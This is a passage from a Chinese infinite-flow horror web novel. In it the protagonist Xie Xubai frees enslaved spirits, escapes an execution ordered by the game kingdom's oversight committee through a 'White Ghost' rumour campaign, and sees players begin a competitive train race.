在极度的恐惧下,有那么一瞬间,李勇也会回忆起幻境中他迷途知返,取得姑妈姑父原谅,勤劳刻苦赚钱养家,与周围的人其乐融融。 那样的生活如果继续下去,演上一辈子,直到老死,不也挺好的吗? 李勇悔不过当初! 但他终究没有那样的机会了……从他撞完男人还不够,又倒车回去,反复将人碾到断气时起。 谢叙白没有再看李勇一眼,转身走出帐篷。 瘦长鬼影在广告牌上对他投以阴恻恻的死亡注视,蠕动的影子几乎要冲出来将他吞噬,谢叙白置若罔闻。 原本的店主死亡,谢叙白也顺势上位真当上了店主,依旧能看见后台评论区。 他瞄一眼观众的评价,果不其然,都是嘲讽和骂声。 王国公民倾向于充满折磨和痛苦的娱乐节目,不可否认谢叙白折腾店老板让他们看爽了,但这和他们想骂谢叙白,看谢叙白一样痛苦,不冲突。 谢叙白仅是付之一笑:“我也觉得自己的游戏烂透了,无颜继续开店。” 观众们以为他至少会反驳一两句,岂料居然会虚心接受痛骂……等一等,不对! 谢叙白对着乖巧贴上来的怨魂们温和笑道:“既然不打算继续开,摆在这里也是占地方,我作为店主交付你们摧毁它的权力,帮我拆了它吧。” 第199章 游戏监察委员会(1)…… 此话一出,店铺评论区的用词瞬间激烈了好几倍,破口大骂的比比皆是。 店拆了,他们以后看什么?玩什么? 与之相反,环绕在谢叙白身边的怨魂们怔在当场,好几秒没能反应过来。 他们小心翼翼地轻触谢叙白的指尖,以此放低姿态:“您不需要我们吗?” 谢叙白两次强调“作为店主”,正是迫使规则承认他予以权限。 得到权限的怨魂只要毁掉店铺,原本施加在他们身上的桎梏就会不复存在,再也没有人可以强制他们做任何事。 所以怨魂们不理解。 谢叙白看上去并非无欲无求,前几次的对局里,也能感知到青年有着尚未完成的夙愿。 既然这样,为何不保留店铺,奴役他们给自己打下手? 谢叙白似乎能看穿他们的心思,弯眸一哂:“如果我要做的事情需要靠压榨你们来完成,那我也别去做了,找个悬崖跳下去回炉重造还痛快。” 要不是构建游戏几乎耗空精神力,实在没力气,拆除店铺合该有他的一份力。 “店铺是游乐场的财产,保不准等会儿有人过来阻止,再耽误下去可就没机会了。” 谢叙白的笑声轻描淡写,像春三月和煦的暖风从江面一拂而过。 他说:“去吧。” 怨魂们不疑有他。 没诡不喜欢恢复自由身,短暂迟疑后,便畅快地去了。 拆除一家小小的店铺不需要费什么时间。 也是这时,他们才发现这座暗无天日的囚笼原来这么小,小到让他们宣泄怒火都不能尽兴。 挣着抢着,连柜台的木板都要拍成碎渣,李勇的尸体更是被反复鞭尸,无数利爪撕成血沫。 阵仗翻天。 谢叙白听到身后建筑倒塌的声响,依旧没有回头,只在怨魂们再次紧巴巴地追上来时停下脚步。 “怎么了?” 稍微看一眼,谢叙白便明白了症结所在。 经年累月的折磨,让怨魂们心中的戾气深刻到难以消磨的地步,即便店主身死,也不能完全化解。 就像平安御下的猫猫狗狗,残害它们的人死后,也有一部分留存了下来。 但怨魂的情况和它们不一样,他们处在棋盘世界,无法和尘世重新缔结羁绊。 没有目标,没有坚定的信念,被痛苦持续侵蚀理智,长此以往,很有可能在无尽的徘徊中迷失自我,变成没有自主意识的幽魂。 依旧是被其他诡吃掉,或是被再次奴役的结局。 便是因为不希望再看到这样的事情发生,谢叙白才会每次都尽力化解怨气,让不得超脱的魂灵往生。 谢叙白的手指颤了颤。 他想起被自己强行送走的父母执念,脸颊隐入明灭的光影,下颔线微微绷紧,叫人看不分明。 看似漫长,实则只有两秒的沉默后,谢叙白倏然撩开眼帘,弯眸似蕴着清润波光:“好了,别害怕。” “如果没有特别想做的事,又不知道该往哪里走。”他掌心向上,金光如织倾泻,神圣温暖,“就让我来送你们一程吧,如何?别的不敢保证,至少不会再像现在这样痛苦。” 怨魂们面面相觑,倏然变成拇指大的雾态黑色团子。 然后一只接一只,挤挤挨挨地落在谢叙白金光氤氲的掌心,扒住青年的手指,充满信赖地望着他。 —— 主动留下接应谢叙白的玩家们终于匆匆赶来。 他们来时,正看见谢叙白从帐篷内走出。 来之前还担心青年作死搞事情,看到这里,玩家们才算大松一口气。 正要上前打招呼,却猛然僵住。 无数只形态凶戾的怨魂从敞开的帐篷门帘里冲出来,亦步亦趋地跟着谢叙白,乖巧得如同坠在青年身后的小尾巴。 而青年对此适应良好,好几张青紫狰狞的诡脸贴在眼前,连眉头都没皱一下,端得是世外高人的气定神闲。 青年侧头低语两句,似乎吩咐了些事情,下一秒,怨魂们卷起狂风,呼啸着冲向身后的帐篷! 那帐篷不仅是帐篷,有规则加持,是能量的聚合体,所以怨魂与之冲撞时爆发出来的冲击格外剧烈! 那是樯倾楫摧,是翻江倒海! 帐篷上的整块天幕兀自昏暗下去,沉沉乌云之下,怨魂们发出尖锐狞笑。 帐篷布被撕毁,诸多设备被绞成碎片,店老板的尸体被狂风裹上云霄,猛然十几只利爪齐齐挥上,碎肉鲜血如雨炸开,淅淅沥沥漫天铺洒,群魔乱舞的景象叫人骇然生畏。 玩家们瞠目结舌,心脏剧烈跳动,唯有青年还在淡然地往前走。 瘦削无害的身躯屹立在凶残可怖的怨魂风暴之前,仿佛也为之沾上猩红血色。 玩家们呼吸僵滞,不清楚现在的青年到底算人算诡,脚步发软地往后挪,想走。 也正是这时,没能如愿宣泄掉戾气的怨魂们追上了谢叙白。 刚刚还凶残到叫人发怵的怨魂,乍然缩小身体,像受尽欺负的小孩,委委屈屈蹭上青年的手指。 青年垂下眼睫,指尖凝聚金光,挨个安抚一遍。 他似乎说了些什么,眉眼被衬得很温柔。 再然后摊开双手,掌心金光大放,织作鎏金般的水流,将怨魂们包裹其中。 浓稠翻涌的黑色怨气似阳光下的冰霜,悄然消融,一只只怨魂褪去狰狞诡相,露出澄澈干净的魂体。 男女都有,老壮不一。 脸上流露出对青年无法言说的感激,含笑带泪,随耀眼明亮的金色光带盘旋向上,升入泛白天际。 这一刻,青年仿佛成为疮痍大地唯一泾渭分明的分界线。 在他身后,是雷霆地狱。在他掌前,是璀璨人间。 * 店老板李勇死去的瞬间,水墨空间发生剧烈震动。 凉亭下的深渊巨鱼兴奋地拍击水面,潮浪翻涌不断,冲刷空间壁,动荡不止。 斗篷人座下一枚散发暗光的棋子倏然裂出缝隙,而后越崩越开,啪嚓一声轻响,终于不堪重负,轰然破碎。 斗篷人的座椅猛一摇晃,传来极其强烈的失重感,仿佛即刻将要坠落下去。 其他九枚黑棋一拥而上,勉强顶住ta的座椅,维持平稳。 受到棋子被吃的影响,斗篷人脸色发白,在震荡中扶住桌沿,眸色阴沉,飞快拾起一枚黑子落在棋盘! 啪! * 广告牌荧幕忽然滋啦一声亮起银白雪花,旋即一分为二。 左边是瘦长鬼影持续导播,激情复述热线投诉里的骂语。 “这种顶不住舆论压力就关店的行为非常让人不耻!他不仅辜负了黑王的赏识,还辜负了公民们的期待!必须严惩!……” 右边出现了一位新人物,竟是一个半兽人。 往上是野猪的脑袋,往下是膀大腰圆的人身,但不是肌肉那种健壮,是肥腻。 肥肉像游泳圈似的一层叠一层,稍一动弹便晃出波浪纹,标准式办公桌被挤得吱呀乱响,西装扣子艰难地拉扯住两边。 它说话带着野兽的粗喘,义正言辞地说道:“各位公民们下午好,我是游戏王国监察委员会的会长,在此感谢热心公民投诉‘躲避球节目现任店主擅自损毁店铺’,我们已了解完具体情况,调查属实。” “经我会裁决,店主‘宴初一’未经允许擅自关闭店铺,此等行径罪大恶极!又放任麾下怨魂破坏王国的公有财产,更是罪无可赦!我们在此宣布,将对店主‘宴初一’处以粉身碎骨的极刑,立刻行刑!” 谢叙白很快就发现自己动不了了。 但他面不改色,对此早有预料。 成为店主能获得这一身份带来的权力,也将受到规则的制约。斗篷人被吃掉一枚棋子,势必不会放过他。 所以规则之力施加在身上的那一刻,谢叙白还算淡定。 就算妈妈在别的时间线里救下了他的亲生爸妈,那还有前面几次时间线夫妻俩受到的痛苦没有偿还。 何况店老板也有那时的记忆。 他没那么大度,更没法接受店老板像炫耀胜利成果那样提起他的父母。 他早已做好毁掉一枚棋子的准备。 至于现在以一换一,更是不亏。 水墨空间。 谢叙白轻轻戳了戳邪神躯壳,让大章鱼剥夺他的痛觉。 不然以他现在这个状态,分魂被毁,真有可能会痛晕过去。 他必须在和斗篷人的棋局中保持绝对的清醒。 结果还没将意念传达过去,邪神躯壳竟然无师自通地这样做了。 分魂骨骼寸寸碎裂,传出噼啪声响, 除了精神发虚,一丝痛楚都没感觉到。 谢叙白甚至有闲情逸致去回想上一次家庭聚餐,和裴玉衡他们吃烤肉。 排骨上有小节脆骨,一咬下去也是嘎嘣脆,油香四溢。 只是不知道是不是他的错觉,总感觉耳朵似乎被黑雾狠狠地捏了一下…… 谢叙白难得心虚地摸了摸鼻子。 应该是错觉。 邪神躯壳没有意识,不会生气的,嗯。 棋盘世界。 亲生父母生还,谢语春还在,大仇得报,怨魂悉数往生。 谢叙白眉头微微舒缓,看着已经蔓延到掌心的血线,自觉神仙难救,干脆放弃挣扎,闭上眼,准备坦然迎接“死亡”。 殊不知下一秒,十几个玩家急头白脸大吼大叫着从遮蔽物里冲了出来。 谢叙白还是动弹不了,茫然地被其中一名玩家托住身体,又被重重包围。 眼前全是焦急的脸,后勤人员几乎把空间背包翻出火星子,急得满头大汗。 “他触犯了规则,普通治愈术没用!” “道具呢!道具呢!一个替身道具都拿不出来吗!?” “这他X的S级副本啊!你给我拿出个S级替身道具看看!” “别吵了!!!想办法救人啊!” 霎时间所有人乱成一锅粥,抓耳挠腮,骂骂咧咧想尽手段。 对上他们沉痛得仿佛自己随时随地就会领便当似的眼神,谢叙白眨了眨眼,想解释自己没什么大碍,但动不了。 千钧一发之际,后勤突然想起布莱恩留下的空间口袋,飞快拿出来。 神级玩家的赠礼,总该有能用的家伙吧? “别废话了打开看看!” “是专属道具,只有大佬才能打开!” 下一秒,谢叙白的手被人牵起来,拽住袋子的边缘往外扯。 后勤人员又借着谢叙白的手将道具全部倾倒在地,各种高阶道具绽放出五颜六色的绚烂光彩,瞬间闪瞎一众没见过世面的玩家的眼。 他们迅速地翻翻找找。 想来是布莱恩听到后勤小姐姐说谢叙白没有任何保命道具,所以留下来的道具中,正好有保命治愈的类型。 大喜过望! 可在翻找之余,也有人被那高级道具的光辉闪花眼,不受控制地伸向其中一件:“我的天啊!这个不是被列入S级道具排行榜的凤凰火……” 这可是S级保命道具,不亚于身边跟着个随时替命的蝉生! 而且一定还有附加效力,比如提升等级数值。 变强契机近在咫尺,他会成为强者,再不用卑贱地看人眼色,财富荣誉唾手可得。 贪婪毕现。 唰。 一阵风掠过,眼前的道具突然抢走。 那人一僵,整张脸瞬间扭曲,凶狠愤怒地看过去。 却对上巅峰后勤人员嫌恶的眼神。 刹那间,嘈杂的空气陷入死一般的凝滞。 谢叙白危在旦夕,瞳孔都散开了,随时可能断气。 后勤只顾得上给其他成员使个眼色,让他们拦住那些可能强抢的玩家,用最快的速度浏览道具的使用说明,给谢叙白用上。 周围,其他不知不觉将道具掩在掌心里的玩家看见这一幕,仿若当头棒喝,眼神瞬间清明,触电般将手缩回。 而刚才忍不住露出贪欲的玩家,僵滞地抬头,对上谢叙白涣散无光的瞳孔。 一瞬间想了很多。 想变强的好处,又想到谢叙白带他们通关。 沉默半晌,玩家狠狠地给了自己一个耳光,蹲下身继续翻找可用于抢救的道具。 同一时间,升上天际将要消失的魂灵乍一见底下的动静,刚刚还活蹦乱跳的救命恩人奄奄一息,大脑仿佛有根名为理智的弦倏然崩断,瞬间气炸! 他们的身影在半空折返,如流星般没入广告牌。 不过三四秒的时间,十几名前缀为【游戏王国新公民】的ID出现在监察委员会的投诉频道里。 :凭什么假定店主违规?!店主的店想怎么关就怎么关,想怎么砸就怎么砸,规则都没吭声,你们凭什么说三道四!! :我是躲避球项目的前员工,我要举报原店主和王国决策层沆瀣一气!私下贿赂牟利,其中就有这头猪! :原店主的位置来得绝对不光彩,不是有人疑惑自己为什么没法成为店主吗!现在密我,即刻就听《惊!蝇贪蚁腐,这就是我们的王国》! 第200章 游戏监察委员会(2) 布莱恩拿出来的凤凰火出自一个古埃及神话副本。 和中洲的凤凰不一样,西方凤凰的形象类似孔雀,羽毛以红紫为主,更贴切的翻译应该叫做太阳鸟或不死鸟,可浴火重生。 按理来说,就算布莱恩是神级玩家,也没不可能豪奢到随手送出件有价无市的S级复活道具。 关键在于他是雷神霸体,每次一用凤凰火,雷火交戈都会瞬间引发剧烈爆炸! 然后从内到外,不断地被炸焦,血肉生长,被炸焦,血肉生长……持续性地被反复“鞭尸”。 直到布莱恩真的快被折腾到嗝屁了,雷神之力消磨殆尽,才会叫凤凰火占据上风,完成最后的复活。 虽然彼时他和死也没什么两样了。 但不管怎么说,好歹凤凰火能保命。 越是高级的玩家,就越舍不得死亡一次从头再来,所以布莱恩对宴初一这个新朋友的重视程度可见一斑。 在场玩家也对凤凰火寄予厚望。 当看见遍布青年全身的血色裂痕,在燃烧的红紫色火焰中快速愈合,血肉重生,他们登时激动得屏住呼吸。 直至下一秒,才刚长好的血肉就像被无形的大手持刀切入骨骼,又一次发出被碾碎的咔嚓声响,裂开蜘蛛网般的蜿蜒长痕,玩家们的笑容猝然一僵,霎时间心都凉了半截。 “为什么会这样?” “又是规则在作祟?” “不知道啊!以前用保命道具都没出现过这种情况!” 他们不知道宴初一“棋子”的身份,不知道道具虽然能发挥作用,但作为棋盘的一部分无法独立救下棋子,顿时慌了神。 凤凰火有使用次数限制,玩家们只能再拿出别的道具,但遇到的情况和凤凰火如出一辙,都是发挥作用后迅速失效。 他们没忍住爆出国骂。 “先用道具吊着命,把大佬背回去,问问其他人有没有什么办法!” 其他人应声,急匆匆地背着宴初一往回跑。 另一边,魂灵们在游戏王国的公众论坛上掀起一阵狂风暴雨,可他们只有十多个人,又是新加入的公民,和铺天盖地几千条恶评比起来显得人微言轻,没多久就被管理封号镇压,评论区消息被删得干干净净。 水墨空间的斗篷人却是猛然一顿。 ta拧眉看向谢叙白,谢叙白脸上的意外不比ta少。 或许他们两人都没有料到,不管是玩家还是魂灵,竟然会为谢叙白做到这种地步。 见谢叙白无言片刻,倏然撩开眼帘,眸色清亮澄澈,从袖口再次拿出一枚圆润白棋。 斗篷人沉着脸,仿佛猜到他想做什么,缓缓质疑:“用一枚棋子去保一枚废棋,白白浪费两枚棋,有什么意义?” “不被爱的人,自然不会知道回应爱的意义。” 谢叙白轻笑一声,中指向前食指退后,稳稳夹住棋子,声线铿锵自信。 “再说了,谁说会是浪费?” 啪一声落下清脆棋鸣。 游戏王国的论坛网络,电子流交错纵横的世界,只不过科幻电影中的蓝白配色换成了诡谲的黑红色,充斥着实质化的恶念。 丝丝缕缕的金色线条漩涡状汇聚,逐步勾勒出一道半透明的虚拟人影。 人影有着和谢叙白相同的脸,岁数要小一截,十七岁的样子,长相青涩稚嫩,性子略显沉默寡言。 他面无表情地睁开眼,望向眼前四通八达延伸向每一位王国公民可视网的数据流,眼底掠过一抹璀璨的金芒。 那些散播秘闻的魂灵被监察会批判为造谣生事,在网络世界中遭到追杀,此时正狼狈逃窜着。 他们咬紧牙关,痛恨自己的无力,只能眼睁睁地看着恩人被害死。 陡然十几根金线凭空出现,圈住魂灵们的身躯,将他们闪现带离监察会的追杀。 “恩人,您没事吧?”魂灵们惊喜地看着少年,少顷又讶异起来,“您怎么……变得这么小了?” “不碍事。”少年摇摇头,简略一句话成为魂灵们的主心骨,“把你们平时听到看到的秘闻都告诉我。” 微微抬起手,金线勾勒的虚拟键盘和鼠标出现在少年的掌下。 他垂下眼睫,猛一下敲击键盘。 就像打开某个不得了的开关,修长十指快出残影,动作如行云流水一般自然顺畅,眼神专注至极。 仿佛不是在敲击键盘,而是在富丽堂皇的大礼堂中弹奏动人悦耳的钢琴曲。 然而所谓的优雅全是假象。 随着少年一刻不落地打出字,一个接一个劲爆夸张的新闻标题闯入王国公民的视野! 《震惊王国公民,你所不知道监察委员会真面目!》 《警惕!你真以为自己活在公正的制度下吗!》 《贪污长达二十年!ta竟然还活着!》 《最新的监察处决名单,进来看看都有你认识的哪位高官》 《一声“亲爱的”撬开权力的大门,被迫躺平的你心动了吗?》 …… 以防有公民对王国时政不感兴趣,少年略微沉吟,再次平静地敲下几十上百个标题。 《路过看一看,黑王陛下私底下竟然爱好这款……》 《财务部大臣与午夜私会,竟是为了这个人!》 《高官颈部不小心露出可疑红斑,疑似偷养小情人事实暴露!》 最后,少年敲下一句话作为掀起风暴的起势。 【我是“白色幽灵”,曾经作为公民无忧无虑地活在这世上,直到我看见了不该看见的东西。 我不后悔自己的所作所为,为了杜绝更多公民如我一般重蹈覆辙,将一直为你探查那些隐秘的真相。】 * 游戏王国都不是人,乱发言招惹事端,是真的会被诡顺着网线找上门,是以他们只敢在那些评论倾向一边倒的地方放松跟风,诡云亦云。 然而谢叙白不是王国公民,不受限制,限制公民发声的评论规则更奈何不了他。 由“白色幽灵”发出的消息,蓦然如同蝗虫过境寸草不生,将其他新闻挤到边边角角,强势占据各大栏目的头条版面。 关键在于这些消息中掺和着真秘闻,真真假假让诡分不清楚,更加吸引眼球,稍不留意就点了进去。 虽说没诡发言,观望者居多,但新闻文章转发数却是以秒递增!浏览量更是分分钟破除几十上百万! 与之相对的,刚刚出现的监察委员会的会长办公室门被人敲响。 虎背熊腰的副会长带着亲兵出现在门口,对野猪会长发出一声得意轻蔑的笑。 打蛇打七寸。 白色幽灵深知无权无势的他们,撼动不了身为高官的野猪会长,干脆把匿名举报信递到了最渴望会长下台的诡怪——副会长的手里。 “会长,有公民举报你贪污受贿,跟我们走一趟吧。” 野猪会长先是一愣,随后勃然大怒,只是还没来得及开口,就被亲卫兵堵住嘴架了起来:“唔!唔唔唔——!” 猛犸象看着它如死猪一般被拖走,兴奋地舔了下嘴,如饮血般鲜红。 就算“白色幽灵”给出的秘闻是假的,将野猪接受审问的消息放出去,也会影响到选票,对它极其有利。 至于宴初一这边…… 猛犸象副会长看向“白色幽灵”发给它的最后一条消息。 [白色幽灵]:帮我撤除对宴初一的判决。 副会长眼中掠过一丝嘲讽。 弹劾野猪的好处当然是要照单全收,但这个不知道好歹的人类幽灵,要是以为凭借点小道消息就能裹挟它,那可就大错特错了。 也是这时,屏幕一闪。 [白色幽灵]:难道你就不好奇为什么黑王陛下一直都没有以真身出现吗? [白色幽灵]:难道你的胃口只有这么小,一个监察会的会长就能满足了? 猛犸象副会长的心脏猛然一跳,第一反应是呵斥他在胡说八道什么! 可不等它将消息发出,“白色幽灵”的头像唰一下灰暗下去,干脆利落地下线,徒留被挑起野望的猛犸象怔在原地,骂骂咧咧地跺脚! 纵观游戏王国成立以来,从未有过撤除审判的先例,毕竟一般被审判的人或诡怪都是当场咽气,挺不过十秒。 谁能想到今日开了眼界! 不过和那些被诡津津乐道的头条比起来,这一消息反而显得没那么突出了。 王国公民就像掉进瓜田的猹,被那五花八门的消息热热闹闹地吸引走了,没人再关注玩家们的情况,也算一件好事。 审判的规则之力撤去,有人发现宴初一身上的血痕没有继续蔓延,欣喜若狂:“快看,伤势没有继续恶化!初一大佬或许有救了!” 但也有个不幸的消息,就是布莱恩留下来的保命道具几乎消耗殆尽,大部分储备留在大部队,他们也所剩无几,杯水车薪。 毕竟全游戏的保命道具就这么多,能一次性拿出好几个,已经足够惊呆人的下巴。 似乎到了黔驴技穷的地步。 危急时刻,后勤攥紧拳头,猛灌一口强化药剂,打算燃烧血线冲到集合地点。 突然,一只手从旁伸出,掌心攥着个紫红色的血瓶。 “我这还有一支A级活性再生血瓶,找炼金术师强化过,效力堪比A+级。” 那人满脸肉疼,深深地吸一口气:“这可是我保命的家当,要七十二小时才能再攒一瓶。你说他这么强,继续带我们零死亡通关……应该没问题吧?” 是之前对凤凰火露出贪欲的玩家,尖嘴猴腮,下巴一撮胡茬。 后勤一怔。 还没来得及说话,突然,胡茬男心一横,豁出去似的,掰住宴初一的下巴直接给人灌药:“他丫的算了!我要是出了事,你们必须保管好这道具等通关之后还给我,有直播间的观众见证,别想偷偷昧下来!” 灌完一整瓶血药,效果立现,青年的脸上瞬间恢复血色,甚至还有了莹润的光泽。 众人惊异,对胡茬男投以刮目相看的目光,仿佛在看妙手回春的在世华佗。 胡茬男抹了把汗水,对上宴初一逐渐愈合的伤口和不再苍白的脸色,蓦然有股莫名其妙的成就感。 可有玩家注意到宴初一不再起伏的胸口,急忙凑过去,傻眼道:“完了,初一大佬好像没呼吸了!” “什么?!” 胡茬男惊得差点跳起来,后勤人员赶快将宴初一放下,贴到胸口半晌没能听到心跳,脸色顿时难看无比。 这什么反应? 迟了没赶上? 反反复复折腾这么老半天,耗费那么多道具,结果白救了?他们从始至终都在瞎忙活? 后勤人员摸到颈侧的裂痕,掀开宴初一的衣服,看到蔓延到胸口的血痕,颓然瘫坐在地,无力地说道:“不是救迟了,是一开始就被震开心脉了,没得救。” 胡茬男忽然一阵眩晕,感觉天都要塌了。 他知道自己挺自私的,也挺贪,但无限世界不都是这样吗,顾着自己的人才能更好地活下去,君不见饥荒副本甚至有人吃人的惨案发生。 问题是他好不容易鼓起勇气做一次好事,为什么能亏得这么彻底? 胡茬男看向手里的空瓶子,刹那间不知道是恼怒还是可笑的感觉充斥大脑,猛然将瓶子高举—— 凭空出现一只氤氲着金光的手,瓷白削薄的肉完美贴合指骨,线条流畅分明,拉住了他。 众人惊讶回头,对上谢叙白柔和的眉眼。 以棋盘上瞬息万变的局势为助力,棋子可以互相拯救,有气则生。 谢叙白将手放在宴初一的额头上,金光大绽,青年毫无动静的胸口居然出现了微小的起伏。 微弱却鲜活,是生命的气息! 玩家们兴高采烈地围了上去,回过头来,满眼都是对谢叙白的崇敬。 谢叙白又伸出手指触碰空血瓶,只见瓶子底部凭空涌出紫红色药剂,眨眼间恢复满满一瓶。 胡茬男登时笑得眼睛只剩条缝,人救回来了,道具状态也刷新了,简直就是…… “卧槽!” 他瞪着不一样的道具说明,忍不出脱口而出。 原本七十二小时只能使用1次的血瓶,限制次数竟然变成了2!也就是说可以补满两次血! 胡茬男转头看着谢叙白,目光闪烁充满难以言喻的惊喜,何止一个信服可言,简直在看天神降临。 谢叙白又抬手,金光洒向在场所有玩家,为他们补充精神力,治愈潜在的伤口。 消耗完次数的道具,也被刷新使用时间,和胡茬男的血瓶一样,次数+1。 “去火车站吧。”谢叙白充当合格的指导NPC,对喜不胜收的众人温柔明朗地笑了笑,“胜利终将属于我们。” 作者有话说: 谢叙白的棋:谢叙白(神明状态),宴初一(伪装玩家),白色幽灵(控制舆论“键盘侠”) 斗篷人的棋:躲避球店老板(被吃),瘦长鬼影,监察委员会野猪会长 因为有中盘认输的情况,所以不一定会全部下完,棋也不会特别多,不过可以看到各个时期各种状态的白白。《 》 200-210 第201章 观光小火车(1) 时间来到傍晚六点一十七分。 接近黄昏,天空却依旧明亮得像是清晨,散着一层朦胧的白色光晕。 诡异的是看不见一片云彩,也一直没有看到太阳的踪迹,却似乎能感受到阳光的热度。 玩家们早已放弃通过气候判断自己所处的经纬度。 他们一开始的目标是寻找前往黑塔的方法。 就算没有明确的文字提示,那么大一座塔杵在面前,很难将它当成纯粹的装饰物。 按照以往的经验,一般通关的关键性线索都会藏在其中。 然而,无论他们正对着黑塔快步走上多久,都无法缩短和黑塔之间的距离。 那座塔依旧屹立在云端,看起来高大巍峨且充满危险,静默地注视着所有人。 幸好他们兵分多路,这边的玩家一无所获铩羽而归,另一边的队伍则如愿找到了火车站。 火车站就坐落在游乐场的进出口,玩家们印象中也只有这里有轨道。 原谅他们一时没能想起来。 这里虽然有轨道,但只有百来米长,至于前面的,或许是被人早早拆除了,在风化的灰白沙地上留下或深或浅的压印。 轨道一边是无人打理的空地,杂草丛生,另一边是光秃秃的山坡,只有寥寥几簇灌木。 在火车疑似起始位置的地方,竖立着生锈的指示牌,红框白底黑字,油漆已经脱落得差不多了,外面的玻璃层被黑黑黄黄的污渍糊住,隐约能看清几则寻常的注意事项。 这个地方起码废弃了五六年以上。 玩家们刚找到这里的时候,就是这么一副鸟不拉屎的景象,期间又回头搜索过几遍,依旧没什么变化。 直到他们获取参赛资格,再次搜过来的时候,一切突然变得不一样了。 指示牌焕然一新,正中间写着“排队候车检票”的字样,旁边是瘦长鬼影优雅脱帽致礼的形象图,就是那满口森白鲨鱼牙的嘴让人瘆得慌。 需要特别关注的,是底下的路线图。 但只有【游乐场→游戏王国】两个明确标注名字的站点,轨道中间有许多像是站点的小红点,不知道是干什么用的。 等到赶过来的玩家越来越多,铁轨上的锈迹也跟着消失了,锃光瓦亮。 玩家们按照指示,在站台排队等候,当所有人都排好队后。 一瞬间,火车站顶上的天空忽然一暗,紧跟着浓郁的黑暗如幕布般笼罩在所有人身上。 眼前看不到一点光亮,只有疾驰着呼啸而过的风声,宛若千钧巨石压下来,沉重地砸在所有人的心头。 黑暗中,玩家们油然生出一股强烈的被凝视感,冷风刮过的地方,立时激起一层鸡皮疙瘩。 仿佛不经意间,全身上下都被某个不知名的存在,炙热好奇地看了个遍。 他们屏住呼吸,不敢轻举妄动。 或许是这样一动不动的很无聊,那道目光很快便颇感无趣地撤走了。 紧跟着。 嘭! 他们听到了这样的震响。 仿佛有什么沉重的东西砸在地面,发出不堪承受的吱呀声。 那目光引起的压迫感和黑暗一同如潮水般褪去,白日当头,视野恢复敞亮。 玩家还来不及松上一口气,下一秒,看见原本的轨道旁边又出现一条崭新的轨道,他们的心脏狠狠一咯噔。 多一条轨道意味着什么,他们不清楚,但两条的轨道上,同时多出来的两列观光小火车,让他们感觉非常不妙。 特别这两列小火车没有一列是完整的,要么部分车身被挤压变形,要么和摔散架了一样,车厢车头断成一截一截。 仿佛专门为了给玩家添堵,系统提示声不怀好意地响起。 【叮!为了增添游乐项目的趣味性,提高玩家积极性,让大家切身体会到竞争的乐趣,本次“观光小火车”项目将随机合并多个副本的玩家进行限时比赛!】 【第一个成功抵达游戏王国的队伍,队内所有玩家都会获得丰富的积分奖励和属性提升,并有机会得到S级珍惜道具!】 【反之,没能进入前三的队伍将被剔除比赛资格,获得极其残酷的惩罚! 所有裁判一致认为,连这种不入流的小比赛都没法取得名次的队伍,还有什么资格参加黑王的游戏?】 【当然,我们不禁止选手们采用一些比较激烈的方式取得胜利,毕竟游戏王国崇尚自由,不拘一节。 只有站到最后的人才有资格戴上胜利的桂冠,全力以赴地冲刺吧,荣誉属于为黑王战斗的你们!】 人群开始躁动不安。 以往的副本不是没有竞争,但都是隐性的,像这样明目张胆地摆在台面上,还是第一次。 本来副本中的各种陷阱诡怪就已经很难对付了,现在还要从pve(玩家对抗游戏系统)转成pvpve(玩家对抗玩家加游戏系统),这不是纯纯闹得慌吗? 队长镇定地分析道:“大家不要慌!” “按照前两场S级副本的淘汰率,一个副本里能活过开场后两小时的人或许还不到四十个。 何况只有获得参赛资格的玩家才能搭乘火车,人数又会大大降低。 单拼团队战斗力,我们一共有27名玩家,绝对超过了平均参赛数!遇到其他队伍未必没有一战之力!” 其他人一听,回看人头攒动的大队伍,想想是这么个道理,稍微安了心。 系统提示响起。 【你们所在的副本编号为:7721】 【已在初始站点匹配到第一队对手:333号副本】 【正在载入敌方队伍基本信息】 555号副本剩余玩家人数:118 其中获得参赛资格:118 当前正在火车站候车的人数:103 提示声如浪潮传开,冲刷着风中凌乱的7721号队伍。 随后全体爆炸。 “103个人?!” “他们开挂了吧?开局不是固定被瘦长鬼影带走60个人吗,咋活下来的啊??” 队长也是满脸空白,再听系统提示,分明带着微妙的嘲弄! 他强迫自己冷静下来,大声安抚众人:“这说明他们的队伍有问题!我们的占卜师测算过,开局必须死60个人才能让瘦长鬼影开启游乐项目!他们明显是钻了空子,不代表真正的实力!” 玩家努力鼓舞即将溃散的士气:“人多又怎么样?一名A级玩家可以轻松对阵10名B级,在绝对的力量下,人数再多也是切菜!我们可是有足足4名A级玩家,自信一点大家!” 系统提示不停。 【正在计算敌方队伍玩家的贡献度和综合战力】 【已为您标注出前五名最具威胁的对手,建议谨慎对待】 【以下为对手基本信息】 [第一名] 姓名:宴初一 等级:??? 称号:??? 所属势力:??? 所属地域:中洲区 威胁指数:五颗星 评语:曾将一名项目老板折磨得精神失常并残忍杀害,王国公民最讨厌的人类没有之一,极其危险的反社会人物! 此人已登上游戏王国的悬赏名单,如果解决他,你将获得大部分公民的巨额好感度和一大笔赏金! “等会儿,什么意思?” 玩家们盯着信息栏目瞪口呆,头皮发麻:“他不仅把小BOSS给宰了,吸引当前副本所有诡怪的仇恨,还好端端地活了下来?!” [第二名] 姓名:布莱恩.奥丁森 等级:S(已进阶为神级玩家) 称号:雷神 所属地域:美洲区 …… [第三名] 姓名:徐济 等级:S 所属势力:巅峰(全球公会战力榜第三) 所属地域:中洲区 …… 7721号队伍的玩家齐齐失语:“……” 当震惊到一定地步的时候,连眼神都透着空洞,他们满脑子只剩下几个苍白的问题。 我是谁?我在哪儿?我要干什么? 谁打S级,我吗? 无力吐槽。 等死吧。 随着【副本合并完毕,双方即将见面。】的提示声响起。 眼前的景象变得模糊混乱,如多重幻影重叠在一起,待到再次稳定下来的时候,空地上浩浩汤汤地出现一大堆人。 一个凶神恶煞的板寸金发雇佣兵,一个不苟言笑的儒雅眼镜男,从两人身上隐隐传来的S级气场,彻底粉碎了他们的侥幸心理。 7721号队伍全体玩家麻木地闭上眼睛。 连一直坚持的队长都放弃了,发现那两个不好惹的人看了过来,当即扬起脑袋,愁苦的泪水缓缓渗出眼角,等待自己的死期。 系统明确宣布他们是竞争关系,不是你死就是我活,7721号队长笃定这支强大的队伍不会放过他们。 结果等啊等,等啊等。 整整一小时过去,等到火车站都开始刷小怪了,333号队伍也没有过来灭了他们的迹象。 反而原地支起帐篷,开始起灶生火了是几个意思? 清完怪的队员忽然跑过来高兴报告:“队长快看,这些怪物会掉落修复火车的零件!” 队长低头一看,队员沾满黏液的手里抱着的不是金属零件又是什么! 